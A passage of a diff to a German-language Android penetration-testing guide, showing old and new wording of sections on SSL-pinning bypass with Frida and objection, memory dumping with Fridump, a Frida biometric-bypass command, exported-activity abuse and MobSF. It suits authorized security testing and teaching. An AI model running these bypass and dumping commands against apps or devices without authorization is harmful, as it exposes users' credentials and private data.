sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
```
|
||||
Eine gute Möglichkeit, dies zu testen, besteht darin, den Datenverkehr mit einem Proxy wie Burp zu erfassen, ohne das Burp CA-Zertifikat auf dem Gerät zu autorisieren. Außerdem können Sie mit Burp ein Zertifikat für einen anderen Hostnamen generieren und es verwenden.
|
||||
Eine gute Möglichkeit, dies zu testen, besteht darin, den Datenverkehr mit einem Proxy wie Burp zu erfassen, ohne das Burp CA-Zertifikat auf dem Gerät zu autorisieren. Außerdem können Sie mit Burp ein Zertifikat für einen anderen Hostnamen generieren und verwenden.
|
||||
|
||||
### Gebrochene Kryptografie
|
||||
|
||||
**Schlechte Schlüsselverwaltungsprozesse**
|
||||
|
||||
Einige Entwickler speichern sensible Daten im lokalen Speicher und verschlüsseln sie mit einem im Code hardcodierten/vorhersehbaren Schlüssel. Dies sollte nicht geschehen, da einige Reverse-Engineering-Aktivitäten Angreifern ermöglichen könnten, die vertraulichen Informationen zu extrahieren.
|
||||
Einige Entwickler speichern sensible Daten im lokalen Speicher und verschlüsseln sie mit einem im Code hartcodierten/vorhersehbaren Schlüssel. Dies sollte nicht geschehen, da einige Reverse-Engineering-Aktivitäten Angreifern ermöglichen könnten, die vertraulichen Informationen zu extrahieren.
|
||||
|
||||
**Verwendung unsicherer und/oder veralteter Algorithmen**
|
||||
|
||||
Entwickler sollten keine **veralteten Algorithmen** verwenden, um **Autorisierungsprüfungen** durchzuführen, **Daten zu speichern** oder **zu senden**. Einige dieser Algorithmen sind: RC4, MD4, MD5, SHA1... Wenn **Hashes** beispielsweise zum Speichern von Passwörtern verwendet werden, sollten brute-force **resistente** Hashes mit Salt verwendet werden.
|
||||
Entwickler sollten keine **veralteten Algorithmen** verwenden, um **Autorisierungsprüfungen** durchzuführen, **Daten zu speichern** oder **zu senden**. Einige dieser Algorithmen sind: RC4, MD4, MD5, SHA1... Wenn **Hashes** beispielsweise zum Speichern von Passwörtern verwendet werden, sollten hash-brute-force **resistente** Hashes mit Salt verwendet werden.
|
||||
|
||||
### Weitere Überprüfungen
|
||||
|
||||
- Es wird empfohlen, die **APK zu obfuskieren**, um die Reverse-Engineering-Arbeit für Angreifer zu erschweren.
|
||||
- Wenn die App sensibel ist (wie Bank-Apps), sollte sie ihre **eigenen Überprüfungen durchführen, um zu sehen, ob das Mobilgerät gerootet ist**, und entsprechend handeln.
|
||||
- Wenn die App sensibel ist (wie Bank-Apps), sollte sie **eigene Überprüfungen durchführen, um zu sehen, ob das Mobilgerät gerootet ist**, und entsprechend handeln.
|
||||
- Wenn die App sensibel ist (wie Bank-Apps), sollte sie überprüfen, ob ein **Emulator** verwendet wird.
|
||||
- Wenn die App sensibel ist (wie Bank-Apps), sollte sie **ihre eigene Integrität überprüfen, bevor sie ausgeführt wird**, um zu prüfen, ob sie modifiziert wurde.
|
||||
- Verwenden Sie [**APKiD**](https://github.com/rednaga/APKiD), um zu überprüfen, welcher Compiler/Packer/Obfuskator verwendet wurde, um die APK zu erstellen.
|
||||
- Verwenden Sie [**APKiD**](https://github.com/rednaga/APKiD), um zu überprüfen, welcher Compiler/Packer/Obfuskator zum Erstellen der APK verwendet wurde.
|
||||
|
||||
### React Native Anwendung
|
||||
|
||||
@ -239,7 +243,7 @@ Dank der ADB-Verbindung können Sie **Drozer** und **Frida** in den Emulatoren v
|
||||
|
||||
#### Verwendung eines Emulators
|
||||
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Sie können **x86** und **arm** Geräte erstellen, und laut [**diesem** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**neueste x86** Versionen **unterstützen ARM-Bibliotheken** ohne einen langsamen ARM-Emulator zu benötigen).
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Sie können **x86** und **arm** Geräte erstellen, und laut [**diesem**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**neueste x86** Versionen **unterstützen ARM-Bibliotheken** ohne einen langsamen ARM-Emulator zu benötigen).
|
||||
- Lernen Sie, wie Sie es auf dieser Seite einrichten:
|
||||
|
||||
{{#ref}}
|
||||
@ -256,7 +260,7 @@ Um **Google-Dienste** (wie den App Store) in Genymotion zu installieren, müssen
|
||||
|
||||
.png>)
|
||||
|
||||
Beachten Sie auch, dass Sie in der **Konfiguration der Android-VM in Genymotion** den **Bridge-Netzwerkmodus** auswählen können (dies wird nützlich sein, wenn Sie von einer anderen VM mit den Tools auf die Android-VM zugreifen möchten).
|
||||
Beachten Sie auch, dass Sie in der **Konfiguration der Android-VM in Genymotion** den **Bridge-Netzwerkmodus** auswählen können (dies ist nützlich, wenn Sie von einer anderen VM mit den Tools auf die Android-VM zugreifen möchten).
|
||||
|
||||
#### Verwendung eines physischen Geräts
|
||||
|
||||
@ -266,7 +270,7 @@ Sie müssen die **Debugging**-Optionen aktivieren, und es wäre gut, wenn Sie es
|
||||
2. (Ab Android 8.0) Wählen Sie **System**.
|
||||
3. Wählen Sie **Über das Telefon**.
|
||||
4. Drücken Sie **Build-Nummer** 7 Mal.
|
||||
5. Gehen Sie zurück und Sie finden die **Entwickleroptionen**.
|
||||
5. Gehen Sie zurück, und Sie finden die **Entwickleroptionen**.
|
||||
|
||||
> Sobald Sie die Anwendung installiert haben, sollten Sie zunächst versuchen, sie zu verwenden und zu untersuchen, was sie tut, wie sie funktioniert und sich damit vertraut zu machen.\
|
||||
> Ich empfehle, diese erste dynamische Analyse mit MobSF-Dynamikanalyse + pidcat durchzuführen, damit wir **lernen können, wie die Anwendung funktioniert**, während MobSF eine Menge **interessanter** **Daten** erfasst, die Sie später überprüfen können.
|
||||
@ -279,11 +283,11 @@ Entwickler sollten vorsichtig sein, **Debugging-Informationen** öffentlich zug
|
||||
|
||||
> [!WARNING]
|
||||
> Beachten Sie, dass ab **neueren Versionen als Android 4.0** **Anwendungen nur auf ihre eigenen Protokolle zugreifen können**. Anwendungen können also nicht auf die Protokolle anderer Apps zugreifen.\
|
||||
> Dennoch wird empfohlen, **sensible Informationen nicht zu protokollieren**.
|
||||
> Dennoch wird weiterhin empfohlen, **sensible Informationen nicht zu protokollieren**.
|
||||
|
||||
**Zwischenablage-Puffer-Caching**
|
||||
**Zwischenablage-Caching**
|
||||
|
||||
Das **zwischenablagebasierte** Framework von Android ermöglicht die Copy-Paste-Funktionalität in Apps, birgt jedoch ein Risiko, da **andere Anwendungen** auf die Zwischenablage **zugreifen** können, was potenziell sensible Daten offenlegen könnte. Es ist wichtig, die Funktionen **Kopieren/Einfügen** für sensible Abschnitte einer Anwendung, wie z. B. Kreditkartendaten, zu deaktivieren, um Datenlecks zu verhindern.
|
||||
Das **zwischenablagebasierte** Framework von Android ermöglicht die Copy-Paste-Funktionalität in Apps, birgt jedoch ein Risiko, da **andere Anwendungen** auf die Zwischenablage **zugreifen** können, was potenziell sensible Daten offenlegen könnte. Es ist wichtig, die **Copy/Paste**-Funktionen für sensible Abschnitte einer Anwendung, wie z. B. Kreditkartendetails, zu deaktivieren, um Datenlecks zu verhindern.
|
||||
|
||||
**Absturzprotokolle**
|
||||
|
||||
@ -300,7 +304,7 @@ Anwendungen integrieren häufig Dienste wie Google Adsense, die unbeabsichtigt *
|
||||
Die meisten Anwendungen verwenden **interne SQLite-Datenbanken**, um Informationen zu speichern. Während des Pentests sollten Sie einen **Blick** auf die **Datenbanken** werfen, die erstellt wurden, die Namen der **Tabellen** und **Spalten** sowie alle **gespeicherten Daten**, da Sie **sensible Informationen** finden könnten (was eine Schwachstelle darstellen würde).\
|
||||
Datenbanken sollten sich in `/data/data/the.package.name/databases` wie `/data/data/com.mwr.example.sieve/databases` befinden.
|
||||
|
||||
Wenn die Datenbank vertrauliche Informationen speichert und **verschlüsselt** ist, Sie jedoch das **Passwort** innerhalb der Anwendung **finden** können, ist dies immer noch eine **Schwachstelle**.
|
||||
Wenn die Datenbank vertrauliche Informationen speichert und **verschlüsselt** ist, Sie jedoch das **Passwort** in der Anwendung **finden** können, ist dies immer noch eine **Schwachstelle**.
|
||||
|
||||
Zählen Sie die Tabellen mit `.tables` und zählen Sie die Spalten der Tabellen mit `.schema <table_name>`.
|
||||
|
||||
@ -316,7 +320,7 @@ Denken Sie auch daran, dass der Code einer Aktivität in der **`onCreate`**-Meth
|
||||
|
||||
**Autorisierungsumgehung**
|
||||
|
||||
Wenn eine Aktivität exportiert ist, können Sie ihren Bildschirm von einer externen App aus aufrufen. Daher könnten Sie, wenn eine Aktivität mit **sensiblen Informationen** **exportiert** ist, die **Authentifizierungs**-Mechanismen **umgehen**, um darauf zuzugreifen.
|
||||
Wenn eine Aktivität exportiert wird, können Sie ihren Bildschirm von einer externen App aus aufrufen. Daher könnten Sie, wenn eine Aktivität mit **sensiblen Informationen** **exportiert** wird, die **Authentifizierungs**-Mechanismen **umgehen**, um darauf zuzugreifen.
|
||||
|
||||
[**Erfahren Sie, wie Sie exportierte Aktivitäten mit Drozer ausnutzen.**](drozer-tutorial/index.html#activities)
|
||||
|
||||
@ -334,13 +338,13 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
|
||||
**Sensibler Informationsleck**
|
||||
|
||||
**Aktivitäten können auch Ergebnisse zurückgeben**. Wenn Sie es schaffen, eine exportierte und ungeschützte Aktivität zu finden, die die **`setResult`**-Methode aufruft und **sensible Informationen zurückgibt**, gibt es ein sensibles Informationsleck.
|
||||
**Aktivitäten können auch Ergebnisse zurückgeben**. Wenn Sie es schaffen, eine exportierte und ungeschützte Aktivität zu finden, die die **`setResult`**-Methode aufruft und **sensible Informationen zurückgibt**, liegt ein sensibler Informationsleck vor.
|
||||
|
||||
#### Tapjacking
|
||||
|
||||
Wenn Tapjacking nicht verhindert wird, könnten Sie die exportierte Aktivität missbrauchen, um den **Benutzer unerwartete Aktionen** ausführen zu lassen. Für weitere Informationen über [**was Tapjacking ist, folgen Sie dem Link**](#tapjacking).
|
||||
|
||||
### Ausnutzen von Content Providern - Zugriff auf und Manipulation sensibler Informationen
|
||||
### Ausnutzen von Content Providern - Zugriff auf und Manipulation von sensiblen Informationen
|
||||
|
||||
[**Lesen Sie dies, wenn Sie auffrischen möchten, was ein Content Provider ist.**](android-applications-basics.md#content-provider)\
|
||||
Content Provider werden im Grunde verwendet, um **Daten zu teilen**. Wenn eine App verfügbare Content Provider hat, können Sie möglicherweise **sensible** Daten von ihnen **extrahieren**. Es ist auch interessant, mögliche **SQL-Injektionen** und **Path Traversals** zu testen, da sie anfällig sein könnten.
|
||||
@ -398,9 +402,9 @@ Ein [interessanter Bug-Bounty-Bericht](https://hackerone.com/reports/855618) üb
|
||||
|
||||
### Transport Layer Inspektion und Verifizierungsfehler
|
||||
|
||||
- **Zertifikate werden von Android-Anwendungen nicht immer ordnungsgemäß überprüft**. Es ist üblich, dass diese Anwendungen Warnungen übersehen und selbstsignierte Zertifikate akzeptieren oder in einigen Fällen zu HTTP-Verbindungen zurückkehren.
|
||||
- **Verhandlungen während des SSL/TLS-Handshakes sind manchmal schwach**, da unsichere Cipher-Suiten verwendet werden. Diese Verwundbarkeit macht die Verbindung anfällig für Man-in-the-Middle (MITM)-Angriffe, die es Angreifern ermöglichen, die Daten zu entschlüsseln.
|
||||
- **Leckage privater Informationen** ist ein Risiko, wenn Anwendungen über sichere Kanäle authentifizieren, dann jedoch über unsichere Kanäle für andere Transaktionen kommunizieren. Dieser Ansatz schützt sensible Daten, wie Sitzungscookies oder Benutzerdetails, nicht vor Abfangen durch böswillige Akteure.
|
||||
- **Zertifikate werden von Android-Anwendungen nicht immer ordnungsgemäß überprüft**. Es ist üblich, dass diese Anwendungen Warnungen ignorieren und selbstsignierte Zertifikate akzeptieren oder in einigen Fällen auf HTTP-Verbindungen zurückgreifen.
|
||||
- **Verhandlungen während des SSL/TLS-Handshakes sind manchmal schwach** und verwenden unsichere Cipher-Suiten. Diese Verwundbarkeit macht die Verbindung anfällig für Man-in-the-Middle (MITM)-Angriffe, die es Angreifern ermöglichen, die Daten zu entschlüsseln.
|
||||
- **Leckage privater Informationen** ist ein Risiko, wenn Anwendungen über sichere Kanäle authentifizieren, aber dann über unsichere Kanäle für andere Transaktionen kommunizieren. Dieser Ansatz schützt sensible Daten, wie Sitzungscookies oder Benutzerdetails, nicht vor Abfangen durch böswillige Akteure.
|
||||
|
||||
#### Zertifikatsverifizierung
|
||||
|
||||
@ -412,7 +416,7 @@ SSL-Pinning ist eine Sicherheitsmaßnahme, bei der die Anwendung das Serverzerti
|
||||
|
||||
#### Verkehrsinpektion
|
||||
|
||||
Um HTTP-Verkehr zu inspizieren, ist es notwendig, das **Zertifikat des Proxy-Tools** (z. B. Burp) zu **installieren**. Ohne die Installation dieses Zertifikats ist der verschlüsselte Verkehr möglicherweise nicht über den Proxy sichtbar. Für eine Anleitung zur Installation eines benutzerdefinierten CA-Zertifikats, [**klicke hier**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
Um HTTP-Verkehr zu inspizieren, ist es notwendig, das **Zertifikat des Proxy-Tools zu installieren** (z. B. Burp). Ohne die Installation dieses Zertifikats ist der verschlüsselte Verkehr möglicherweise nicht über den Proxy sichtbar. Für eine Anleitung zur Installation eines benutzerdefinierten CA-Zertifikats, [**klicke hier**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
||||
Anwendungen, die **API Level 24 und höher** anvisieren, erfordern Änderungen an der Network Security Config, um das CA-Zertifikat des Proxys zu akzeptieren. Dieser Schritt ist entscheidend für die Inspektion von verschlüsseltem Verkehr. Für Anweisungen zur Änderung der Network Security Config, [**siehe dieses Tutorial**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
@ -422,11 +426,11 @@ Wenn **Flutter** verwendet wird, musst du die Anweisungen auf [**dieser Seite**]
|
||||
|
||||
Wenn SSL-Pinning implementiert ist, wird es notwendig, es zu umgehen, um HTTPS-Verkehr zu inspizieren. Verschiedene Methoden stehen dafür zur Verfügung:
|
||||
|
||||
- Automatisch **modifiziere** die **apk**, um **SSL-Pinning zu umgehen** mit [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Der größte Vorteil dieser Option ist, dass du keinen Root-Zugriff benötigst, um das SSL-Pinning zu umgehen, aber du musst die Anwendung deinstallieren und die neue installieren, und das funktioniert nicht immer.
|
||||
- Automatisch **modifiziere** die **apk**, um **SSL-Pinning zu umgehen** mit [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Der größte Vorteil dieser Option ist, dass du kein Root benötigst, um das SSL-Pinning zu umgehen, aber du musst die Anwendung löschen und die neue installieren, und das funktioniert nicht immer.
|
||||
- Du könntest **Frida** (unten besprochen) verwenden, um diesen Schutz zu umgehen. Hier hast du eine Anleitung zur Verwendung von Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- Du kannst auch versuchen, **SSL-Pinning automatisch zu umgehen** mit [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- Du kannst auch versuchen, **SSL-Pinning automatisch zu umgehen** mit **MobSF dynamischer Analyse** (unten erklärt)
|
||||
- Wenn du immer noch denkst, dass es Verkehr gibt, den du nicht erfasst, kannst du versuchen, **den Verkehr mit iptables an burp weiterzuleiten**. Lies diesen Blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
- Wenn du immer noch denkst, dass es Verkehr gibt, den du nicht erfasst, kannst du versuchen, **den Verkehr mit iptables an Burp weiterzuleiten**. Lies diesen Blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### Suche nach häufigen Webverwundbarkeiten
|
||||
|
||||
@ -435,18 +439,18 @@ Es ist auch wichtig, nach häufigen Webverwundbarkeiten innerhalb der Anwendung
|
||||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re) ist ein dynamisches Instrumentierungstool für Entwickler, Reverse-Engineers und Sicherheitsforscher.\
|
||||
**Du kannst auf die laufende Anwendung zugreifen und Methoden zur Laufzeit hooken, um das Verhalten zu ändern, Werte zu ändern, Werte zu extrahieren, anderen Code auszuführen...**\
|
||||
**Du kannst laufende Anwendungen zugreifen und Methoden zur Laufzeit hooken, um das Verhalten zu ändern, Werte zu ändern, Werte zu extrahieren, anderen Code auszuführen...**\
|
||||
Wenn du Android-Anwendungen pentesten möchtest, musst du wissen, wie man Frida verwendet.
|
||||
|
||||
- Lerne, wie man Frida verwendet: [**Frida-Tutorial**](frida-tutorial/index.html)
|
||||
- Eine "GUI" für Aktionen mit Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Ojection ist großartig, um die Verwendung von Frida zu automatisieren: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Du kannst hier einige großartige Frida-Skripte finden: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Versuche, Anti-Debugging / Anti-Frida-Mechanismen zu umgehen, indem du Frida so lädst, wie es in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) angegeben ist (Tool [linjector](https://github.com/erfur/linjector-rs))
|
||||
- Du kannst einige großartige Frida-Skripte hier finden: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Versuche, Anti-Debugging / Anti-Frida-Mechanismen zu umgehen, indem du Frida wie in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) angegeben lädst (Tool [linjector](https://github.com/erfur/linjector-rs))
|
||||
|
||||
### **Speicher dumpen - Fridump**
|
||||
|
||||
Überprüfe, ob die Anwendung sensible Informationen im Speicher speichert, die sie nicht speichern sollte, wie Passwörter oder mnemonics.
|
||||
Überprüfe, ob die Anwendung sensible Informationen im Speicher speichert, die sie nicht speichern sollte, wie Passwörter oder Mnemoniken.
|
||||
|
||||
Mit [**Fridump3**](https://github.com/rootbsd/fridump3) kannst du den Speicher der App dumpen mit:
|
||||
```bash
|
||||
@ -463,7 +467,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
||||
```
|
||||
### **Empfindliche Daten im Keystore**
|
||||
|
||||
In Android ist der Keystore der beste Ort, um sensible Daten zu speichern. Mit ausreichenden Rechten ist es jedoch immer noch **möglich, darauf zuzugreifen**. Da Anwendungen dazu neigen, hier **sensible Daten im Klartext** zu speichern, sollten die Pentests dies als Root-Benutzer oder jemand mit physischem Zugriff auf das Gerät überprüfen, da diese Person in der Lage sein könnte, diese Daten zu stehlen.
|
||||
In Android ist der Keystore der beste Ort, um sensible Daten zu speichern. Mit ausreichenden Berechtigungen ist es jedoch immer noch **möglich, darauf zuzugreifen**. Da Anwendungen dazu neigen, hier **sensible Daten im Klartext** zu speichern, sollten die Pentests dies als Root-Benutzer oder jemand mit physischem Zugriff auf das Gerät überprüfen, da diese Person in der Lage sein könnte, diese Daten zu stehlen.
|
||||
|
||||
Selbst wenn eine App Daten im Keystore speichert, sollten die Daten verschlüsselt sein.
|
||||
|
||||
@ -481,21 +485,21 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
|
||||
|
||||
Wenn Sie eine Anwendung in den Hintergrund setzen, speichert Android einen **Schnappschuss der Anwendung**, sodass beim Wiederherstellen in den Vordergrund das Bild geladen wird, bevor die App, sodass es aussieht, als wäre die App schneller geladen worden.
|
||||
|
||||
Wenn dieser Schnappschuss jedoch **sensible Informationen** enthält, könnte jemand mit Zugriff auf den Schnappschuss diese Informationen **stehlen** (beachten Sie, dass Sie Root-Rechte benötigen, um darauf zuzugreifen).
|
||||
Wenn dieser Schnappschuss jedoch **sensible Informationen** enthält, könnte jemand mit Zugriff auf den Schnappschuss diese **Informationen stehlen** (beachten Sie, dass Sie Root-Rechte benötigen, um darauf zuzugreifen).
|
||||
|
||||
Die Schnappschüsse werden normalerweise unter folgendem Pfad gespeichert: **`/data/system_ce/0/snapshots`**
|
||||
Die Schnappschüsse werden normalerweise unter: **`/data/system_ce/0/snapshots`** gespeichert.
|
||||
|
||||
Android bietet eine Möglichkeit, die **Screenshot-Erfassung zu verhindern, indem der FLAG_SECURE** Layoutparameter gesetzt wird. Durch die Verwendung dieses Flags werden die Fensterinhalte als sicher behandelt, wodurch verhindert wird, dass sie in Screenshots erscheinen oder auf nicht sicheren Displays angezeigt werden.
|
||||
Android bietet eine Möglichkeit, die **Erfassung von Screenshots zu verhindern, indem der FLAG_SECURE** Layoutparameter gesetzt wird. Durch die Verwendung dieses Flags werden die Fensterinhalte als sicher behandelt, wodurch sie nicht in Screenshots erscheinen oder auf nicht sicheren Displays angezeigt werden können.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
### **Android Application Analyzer**
|
||||
|
||||
Dieses Tool kann Ihnen helfen, verschiedene Tools während der dynamischen Analyse zu verwalten: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
|
||||
Dieses Tool kann Ihnen helfen, verschiedene Werkzeuge während der dynamischen Analyse zu verwalten: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
|
||||
|
||||
### Intent Injection
|
||||
|
||||
Entwickler erstellen häufig Proxy-Komponenten wie Aktivitäten, Dienste und Broadcast-Empfänger, die diese Intents verarbeiten und an Methoden wie `startActivity(...)` oder `sendBroadcast(...)` weitergeben, was riskant sein kann.
|
||||
Entwickler erstellen oft Proxy-Komponenten wie Aktivitäten, Dienste und Broadcast-Empfänger, die diese Intents verarbeiten und an Methoden wie `startActivity(...)` oder `sendBroadcast(...)` weitergeben, was riskant sein kann.
|
||||
|
||||
Die Gefahr liegt darin, Angreifern zu ermöglichen, nicht exportierte App-Komponenten auszulösen oder auf sensible Content-Provider zuzugreifen, indem sie diese Intents fehlleiten. Ein bemerkenswertes Beispiel ist die `WebView`-Komponente, die URLs in `Intent`-Objekte über `Intent.parseUri(...)` umwandelt und sie dann ausführt, was potenziell zu bösartigen Intent-Injektionen führen kann.
|
||||
|
||||
@ -503,7 +507,7 @@ Die Gefahr liegt darin, Angreifern zu ermöglichen, nicht exportierte App-Kompon
|
||||
|
||||
- **Intent Injection** ist ähnlich wie das Open Redirect-Problem im Web.
|
||||
- Exploits beinhalten das Übergeben von `Intent`-Objekten als Extras, die umgeleitet werden können, um unsichere Operationen auszuführen.
|
||||
- Es kann nicht exportierte Komponenten und Content-Provider Angreifern aussetzen.
|
||||
- Es kann nicht exportierte Komponenten und Content-Provider für Angreifer zugänglich machen.
|
||||
- Die URL-zu-`Intent`-Umwandlung von `WebView` kann unbeabsichtigte Aktionen erleichtern.
|
||||
|
||||
### Android Client Side Injections und andere
|
||||
@ -511,10 +515,10 @@ Die Gefahr liegt darin, Angreifern zu ermöglichen, nicht exportierte App-Kompon
|
||||
Wahrscheinlich kennen Sie diese Art von Schwachstellen aus dem Web. Sie müssen besonders vorsichtig mit diesen Schwachstellen in einer Android-Anwendung sein:
|
||||
|
||||
- **SQL Injection:** Stellen Sie beim Umgang mit dynamischen Abfragen oder Content-Providern sicher, dass Sie parametrisierte Abfragen verwenden.
|
||||
- **JavaScript Injection (XSS):** Überprüfen Sie, ob die Unterstützung für JavaScript und Plugins für alle WebViews deaktiviert ist (standardmäßig deaktiviert). [Mehr Infos hier](webview-attacks.md#javascript-enabled).
|
||||
- **JavaScript Injection (XSS):** Überprüfen Sie, ob JavaScript- und Plugin-Unterstützung für alle WebViews deaktiviert ist (standardmäßig deaktiviert). [Mehr Infos hier](webview-attacks.md#javascript-enabled).
|
||||
- **Local File Inclusion:** WebViews sollten keinen Zugriff auf das Dateisystem haben (standardmäßig aktiviert) - `(webview.getSettings().setAllowFileAccess(false);)`. [Mehr Infos hier](webview-attacks.md#javascript-enabled).
|
||||
- **Eternal cookies**: In mehreren Fällen, wenn die Android-Anwendung die Sitzung beendet, wird das Cookie nicht widerrufen oder könnte sogar auf der Festplatte gespeichert werden.
|
||||
- [**Secure Flag** in Cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
|
||||
---
|
||||
|
||||
@ -531,7 +535,7 @@ Wahrscheinlich kennen Sie diese Art von Schwachstellen aus dem Web. Sie müssen
|
||||
docker pull opensecurity/mobile-security-framework-mobsf
|
||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
```
|
||||
Hinweis: MobSF kann **Android**(apk)**, IOS**(ipa) **und Windows**(apx) Anwendungen analysieren (_Windows-Anwendungen müssen von einem auf einem Windows-Host installierten MobSF analysiert werden_).\
|
||||
Beachten Sie, dass MobSF **Android**(apk)**, IOS**(ipa) **und Windows**(apx) Anwendungen analysieren kann (_Windows-Anwendungen müssen von einem auf einem Windows-Host installierten MobSF analysiert werden_).\
|
||||
Wenn Sie auch eine **ZIP**-Datei mit dem Quellcode einer **Android**- oder **IOS**-App erstellen (gehen Sie zum Stammordner der Anwendung, wählen Sie alles aus und erstellen Sie eine ZIP-Datei), kann es diese ebenfalls analysieren.
|
||||
|
||||
MobSF ermöglicht auch die **Diff/Compare**-Analyse und die Integration von **VirusTotal** (Sie müssen Ihren API-Schlüssel in _MobSF/settings.py_ festlegen und aktivieren: `VT_ENABLED = TRUE` `VT_API_KEY = <Ihr API-Schlüssel>` `VT_UPLOAD = TRUE`). Sie können auch `VT_UPLOAD` auf `False` setzen, dann wird der **Hash** anstelle der Datei **hochgeladen**.
|
||||
@ -545,14 +549,14 @@ Der **MobSF-Dynamikanalysator** kann:
|
||||
- **HTTPS-Verkehr erfassen**
|
||||
- **Frida** verwenden, um **Laufzeit**-**informationen** zu erhalten
|
||||
|
||||
Ab Android **Versionen > 5** wird **automatisch Frida gestartet** und die globalen **Proxy**-Einstellungen werden festgelegt, um den Verkehr zu **erfassen**. Es wird nur der Verkehr der getesteten Anwendung erfasst.
|
||||
Ab Android **Versionen > 5** wird **Frida automatisch gestartet** und die globalen **Proxy**-Einstellungen werden festgelegt, um den Verkehr zu **erfassen**. Es wird nur der Verkehr der getesteten Anwendung erfasst.
|
||||
|
||||
**Frida**
|
||||
|
||||
Standardmäßig werden auch einige Frida-Skripte verwendet, um **SSL-Pinning**, **Root-Erkennung** und **Debugger-Erkennung** zu **umgehen** und um **interessante APIs** zu **überwachen**.\
|
||||
MobSF kann auch **exportierte Aktivitäten aufrufen**, **Screenshots** davon machen und sie für den Bericht **speichern**.
|
||||
|
||||
Um den dynamischen Test zu **starten**, drücken Sie die grüne Schaltfläche: "**Start Instrumentation**". Drücken Sie auf "**Frida Live Logs**", um die von den Frida-Skripten generierten Protokolle zu sehen, und auf "**Live API Monitor**", um alle Aufrufe an gehookte Methoden, übergebene Argumente und zurückgegebene Werte zu sehen (dies wird nach dem Drücken von "Start Instrumentation" angezeigt).\
|
||||
Um den dynamischen Test zu **starten**, drücken Sie die grüne Schaltfläche: "**Start Instrumentation**". Drücken Sie auf "**Frida Live Logs**", um die von den Frida-Skripten generierten Protokolle zu sehen, und auf "**Live API Monitor**", um alle Aufrufe an gehookte Methoden, übergebene Argumente und zurückgegebene Werte zu sehen (dies erscheint nach dem Drücken von "Start Instrumentation").\
|
||||
MobSF ermöglicht es Ihnen auch, Ihre eigenen **Frida-Skripte** zu laden (um die Ergebnisse Ihrer Frida-Skripte an MobSF zu senden, verwenden Sie die Funktion `send()`). Es hat auch **mehrere vorgefertigte Skripte**, die Sie laden können (Sie können weitere in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` hinzufügen), wählen Sie einfach **diese aus**, drücken Sie "**Load**" und drücken Sie "**Start Instrumentation**" (Sie können die Protokolle dieser Skripte in "**Frida Live Logs**" sehen).
|
||||
|
||||
.png>)
|
||||
@ -570,7 +574,7 @@ Sobald Sie das zusätzliche Modul ausgewählt haben, das Sie verwenden möchten,
|
||||
|
||||
**Shell**
|
||||
|
||||
MobSF bietet Ihnen auch eine Shell mit einigen **adb**-Befehlen, **MobSF-Befehlen** und gängigen **Shell**-**Befehlen** am unteren Ende der Seite zur dynamischen Analyse. Einige interessante Befehle:
|
||||
Mobsf bietet Ihnen auch eine Shell mit einigen **adb**-Befehlen, **MobSF-Befehlen** und gängigen **Shell**-**Befehlen** am unteren Ende der Seite zur dynamischen Analyse. Einige interessante Befehle:
|
||||
```bash
|
||||
help
|
||||
shell ls
|
||||
@ -581,13 +585,13 @@ receivers
|
||||
```
|
||||
**HTTP-Tools**
|
||||
|
||||
Wenn der HTTP-Verkehr erfasst wird, können Sie eine unschöne Ansicht des erfassten Verkehrs auf dem "**HTTP(S) Traffic**" unteren Bereich oder eine schönere Ansicht im grünen Bereich "**Start HTTPTools**" sehen. Von der zweiten Option aus können Sie die **erfassten Anfragen** an **Proxys** wie Burp oder Owasp ZAP **senden**.\
|
||||
